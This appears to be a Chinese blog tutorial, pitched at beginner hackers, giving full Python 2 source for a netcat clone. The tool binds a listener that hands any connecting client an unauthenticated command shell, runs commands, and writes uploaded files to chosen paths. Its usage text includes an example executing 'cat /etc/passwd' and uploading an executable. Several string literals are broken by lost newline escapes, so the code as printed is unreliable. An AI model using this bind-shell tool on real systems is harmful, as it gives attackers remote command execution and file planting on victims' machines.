python实现简单的netcat

没什么比python更时候来做hacking了，一个初学者看完本篇就能马上能够自己写一个netcat

说明：下面的代码是客户端和服务端的集合

代码

#! /usr/bin/env python
#coding=utf-8

import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def run_command(command):
    
    #换行
    command = command.rstrip()
    
    #运行明来并输出返回
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command. 
"
    
    #将输出发送
    return output


def client_handler(client_socket):
    global upload
    global execute
    global command

    #检测上传文件
    if len(upload_destination):
        #读取所欲的字符写下目标
        file_buffer = ""
        #持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)
            
            if not data:
                break
            else:
                file_buffer += data
        
        #现在我们接受这些数据并将他们写出来
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            #确认文件已经写出来
            client_socket.send("Successfully saved file to %s
" % upload_destination)
        except:
            client_socket.send("Falied to save file to %s
" % upload_destination)

    #检测命令执行
    if len(execute):
        #运行命令
        output = run_command(execute)
        
        client_socket.send(output)

    #如果需要一个命令行shell，那么我们进入另一个循环
    if command:
        while True:
            #跳出一个窗口
            client_socket.send("<BHP:#> ")
    
            #现在我们接收文件直到发现换行符（enter key）
            cmd_buffer = ""
            while "
" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
    
            #返还命令输出
            response = run_command(cmd_buffer)

            #返回响应数据
            client_socket.send(response)


def server_loop():
    global target
    global port    

    #如果没有定义目标，那么我们监听所有端口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))
    
    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        
        #分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()


def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        #连接到目标主机
        client.connect((target,port))
        
        if len(buffer):
            client.send(buffer)

        while True:
            #现在等待数据回传
            recv_len = 1
            response = ""
            
            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break
            print response,

            #等待更多的输入
            buffer = raw_input("")
            buffer += "
"

            #发送出去
            client.send(buffer)

        
    except:    
        print "[*] Exception! Exiting."
        
        #关闭连接
        client.close()

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l --listen     -listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run - execute the given file upon receiving a connection"
    print "-c --command  - initialize a command shell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""
    print "echo 'ABCDEF' | ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    

    if not len(sys.argv[1:]):
        usage()

    #读取明来行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
    
        #从明来行读取内存数据
        #这里将阻塞，所以不在向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        #发送数据
        client_sender(buffer)

    #我们开始监听并准备上传，执行命令
    #放置一个反弹shell
    #取决于上面的明来行选项
    if listen:
        server_loop()

main()

运行结果

下面的命令运行后，按ctrl+D就能进行shell的交互了，输入命令了